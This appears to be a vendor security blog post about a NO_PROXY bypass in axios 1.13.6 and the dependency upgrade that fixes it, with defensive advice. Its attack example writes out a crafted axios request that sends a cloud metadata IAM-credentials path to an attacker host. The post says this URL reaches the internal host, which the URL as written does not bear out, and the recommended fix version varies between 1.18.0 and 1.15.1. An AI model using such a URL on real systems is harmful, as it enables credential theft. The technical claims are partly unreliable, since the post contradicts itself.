How NO_PROXY bypass via crafted URL happens in Node.js axios and how to fix it

Introduction

In a project's package-lock.json, the axios dependency was pinned at version 1.13.6—a version now known to contain a high-severity proxy bypass vulnerability. CVE-2026-42043 allows attackers to craft URLs that circumvent NO_PROXY environment variable rules, potentially routing sensitive internal API calls through an attacker-controlled proxy server.

This is particularly dangerous in microservice architectures and cloud environments where HTTP_PROXY, HTTPS_PROXY, and NO_PROXY environment variables are commonly used to control network egress. If an attacker can influence the URLs that axios requests (even partially), they can force traffic meant for internal services—like databases, authentication servers, or metadata endpoints—to flow through a malicious proxy.

The vulnerability was flagged by Trivy in the package-lock.json file, specifically targeting the axios dependency at version 1.13.6 and its transitive dependency on proxy-from-env v1.1.0.

The Vulnerability Explained

How NO_PROXY Works (And How It Broke)

In Node.js applications using axios, proxy configuration is typically handled through environment variables:

export HTTP_PROXY=http://corporate-proxy:8080
export HTTPS_PROXY=http://corporate-proxy:8080
export NO_PROXY=localhost,127.0.0.1,.internal.company.com

The NO_PROXY variable tells axios: "Don't use the proxy for these hosts—connect directly." This is critical for internal service-to-service communication that should never leave the network.

The Vulnerable Code Path

In axios 1.13.6, the proxy resolution relied on proxy-from-env version 1.1.0:

"node_modules/axios": {
  "version": "1.13.6",
  "dependencies": {
    "follow-redirects": "^1.15.11",
    "form-data": "^4.0.5",
    "proxy-from-env": "^1.1.0"
  }
}

The proxy-from-env v1.x library parsed URLs to determine whether they matched NO_PROXY entries, but its URL parsing logic was insufficient. An attacker could craft a URL with special characters, unusual encoding, or authority-section tricks that would:

1. Pass the NO_PROXY check — the parser wouldn't recognize the URL as matching an excluded host
2. Still resolve to the internal host — the actual HTTP request would reach the intended internal target, but via the proxy

Example Attack Scenario

Consider an application that makes requests to an internal metadata service:

const axios = require('axios');

// Environment: NO_PROXY=169.254.169.254
// Environment: HTTPS_PROXY=http://proxy.company.com:8080

// Normal request (correctly bypasses proxy):
await axios.get('http://169.254.169.254/latest/meta-data/iam/credentials');

// Crafted URL that bypasses NO_PROXY check but resolves to same host:
await axios.get('http://169.254.169.254.@attacker-proxy.com/latest/meta-data/iam/credentials');

If an attacker can influence the URL (through user input, SSRF chains, or redirect manipulation), they can force the request through the configured proxy—or worse, through a proxy they control—exposing IAM credentials, API keys, or other sensitive internal data.

Real-World Impact

For this application, the risk includes:
- Cloud metadata exposure: AWS/GCP/Azure metadata endpoints typically protected by NO_PROXY could be accessed via proxy
- Internal API credential theft: Service-to-service authentication tokens routed through external proxies
- Data exfiltration: Internal responses visible to proxy operators
- Compliance violations: Sensitive data leaving the network boundary unexpectedly

The Fix

The fix upgrades axios from version 1.13.6 to 1.18.0, which fundamentally restructures how proxy resolution works.

Before (Vulnerable)

"node_modules/axios": {
  "version": "1.13.6",
  "dependencies": {
    "follow-redirects": "^1.15.11",
    "form-data": "^4.0.5",
    "proxy-from-env": "^1.1.0"
  }
}

After (Fixed)

"node_modules/axios": {
  "version": "1.18.0",
  "dependencies": {
    "follow-redirects": "^1.16.0",
    "form-data": "^4.0.5",
    "https-proxy-agent": "^5.0.1",
    "proxy-from-env": "^2.1.0"
  }
}

Key Changes Explained

1. proxy-from-env upgraded from ^1.1.0 to ^2.1.0

This is the core fix. Version 2.1.0 of proxy-from-env rewrites the URL matching logic to properly canonicalize URLs before comparing them against NO_PROXY entries. It handles:
- URL-encoded characters
- Authority section manipulation
- IPv4/IPv6 address normalization
- Trailing dots in hostnames

2. Addition of https-proxy-agent ^5.0.1

The new version adds https-proxy-agent as a direct dependency, providing proper HTTPS CONNECT tunnel support through proxies. This replaces the previous approach of handling proxy connections inline, adding proper TLS verification when connecting through proxies.

3. New transitive dependency: agent-base 6.0.2

"node_modules/agent-base": {
  "version": "6.0.2",
  "dependencies": {
    "debug": "4"
  },
  "engines": {
    "node": ">= 6.0.0"
  }
}

This supports https-proxy-agent and provides a base class for Node.js HTTP agent implementations with proper lifecycle management.

4. debug package no longer dev-only

The debug package had its "dev": true flag removed because it's now a production dependency (required by agent-base → https-proxy-agent → axios):

     "node_modules/debug": {
       "version": "4.4.3",
-      "dev": true,
       "license": "MIT",

Why Multiple File Changes Were Necessary

• package.json: Updated the axios version constraint to allow 1.18.0
• package-lock.json: Resolved the complete dependency tree including new transitive dependencies (agent-base, https-proxy-agent) and updated versions (proxy-from-env v2.1.0, follow-redirects v1.16.0)

Prevention & Best Practices

1. Pin and Audit Dependencies Regularly

# Run regular vulnerability scans
npm audit
trivy fs --scanners vuln .

2. Use Allowlists for Outbound URLs

Don't rely solely on NO_PROXY—validate outbound URLs at the application level:

const ALLOWED_INTERNAL_HOSTS = new Set([
  '169.254.169.254',
  'internal-api.company.com'
]);

function validateInternalUrl(url) {
  const parsed = new URL(url);
  if (!ALLOWED_INTERNAL_HOSTS.has(parsed.hostname)) {
    throw new Error(`Unauthorized internal host: ${parsed.hostname}`);
  }
  return parsed;
}

3. Network-Level Controls

Even with application-level fixes, implement network segmentation:
- Use firewall rules to restrict which services can reach metadata endpoints
- Implement egress filtering to detect unexpected proxy usage
- Monitor for unusual proxy traffic patterns

4. Enable Dependabot or Renovate

Automated dependency update tools catch these vulnerabilities quickly:

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "daily"
    open-pull-requests-limit: 10

5. Consider URL Validation Libraries

Use battle-tested URL parsing libraries (like whatwg-url) for any security-sensitive URL comparison logic rather than implementing custom parsing.

Key Takeaways

• proxy-from-env v1.x had insufficient URL canonicalization — crafted URLs could bypass NO_PROXY matching even when the environment variable was correctly configured
• The axios dependency tree change from 3 to 4 direct dependencies (adding https-proxy-agent) indicates a fundamental architectural improvement in proxy handling, not just a patch
• package-lock.json is a security-critical file — even if your code doesn't directly call proxy logic, a vulnerable transitive dependency in your lock file exposes you
• NO_PROXY is a defense-in-depth measure, not a security boundary — applications should validate outbound URLs independently of environment variable configuration
• The debug package moving from dev to production dependency shows how security fixes can have unexpected dependency tree implications that need careful review

How Orbis AppSec Detected This

• Source: Outbound HTTP requests made by the application through axios, where URL destinations may be influenced by user input or external data
• Sink: The proxy-from-env v1.1.0 URL matching logic within axios 1.13.6's proxy resolution path
• Missing control: Proper URL canonicalization before comparing request URLs against NO_PROXY environment variable entries
• CWE: CWE-918 (Server-Side Request Forgery)
• Fix: Upgraded axios from 1.13.6 to 1.18.0, pulling in proxy-from-env v2.1.0 with hardened URL parsing and adding https-proxy-agent for secure proxy connections

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

CVE-2026-42043 demonstrates that proxy configuration—often treated as a deployment concern rather than a security concern—can become a critical attack vector when URL parsing is imprecise. The NO_PROXY bypass in axios 1.13.6 could allow attackers to intercept traffic that developers assumed was safely routed directly to internal services.

The fix is straightforward: upgrade axios to 1.18.0 (or at minimum 1.15.1). But the lesson is broader—any code that makes security decisions based on URL comparison must handle the full complexity of URL syntax, including encoding, authority sections, and hostname normalization. Regularly scanning your dependency tree with tools like Trivy and keeping libraries current remains the most effective defense against known vulnerabilities in the npm ecosystem.

References

• CWE-918: Server-Side Request Forgery (SSRF)
• OWASP Server-Side Request Forgery Prevention Cheat Sheet
• axios GitHub Repository - Security Advisories
• Semgrep rules for SSRF detection
• fix: upgrade axios to 1.15.1, 0.31.1 (CVE-2026-42043)
• npm audit documentation